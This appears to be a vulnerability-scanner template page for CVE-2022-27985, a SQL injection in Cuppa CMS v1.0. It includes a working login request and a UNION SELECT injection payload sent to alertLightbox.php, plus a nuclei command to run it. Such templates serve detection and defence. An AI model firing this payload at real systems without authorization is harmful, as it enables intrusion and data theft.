Cuppa CMS v1.0 - SQL injection

ID: CVE-2022-27985

Severity: critical

Author: theamanrawat

Tags: cve,cve2022,sqli,cuppa,authenticated,cuppacms

Description

CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.

YAML Source

id: CVE-2022-27985

info:
  name: Cuppa CMS v1.0 - SQL injection
  author: theamanrawat
  severity: critical
  description: |
    CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27985
    - http://cuppa.com
    - http://www.cuppacms.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27985
    cwe-id: CWE-89
    epss-score: 0.02343
    epss-percentile: 0.89527
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,sqli,cuppa,authenticated,cuppacms
variables:
  num: '999999999'

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /alerts/alertLightbox.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        url=components%2Fpermissions%2Flist_permissions_lightbox.php&title=Permissions%3A+profile&params%5Bgroup%5D=3'+UNION+ALL+SELECT+md5('{{num}}'),null--+-&params%5Breference%5D=41&uniqueClass=new_content_3983163

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207a028c497cc8d523ecdf5b1a5413de1bec131e3f5f385a9a8258640c58f020a9022100b41192f66dc9d75b1918c4122f9b765d757da6745e352c96beeba3f8f4c8845f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-27985.yaml"

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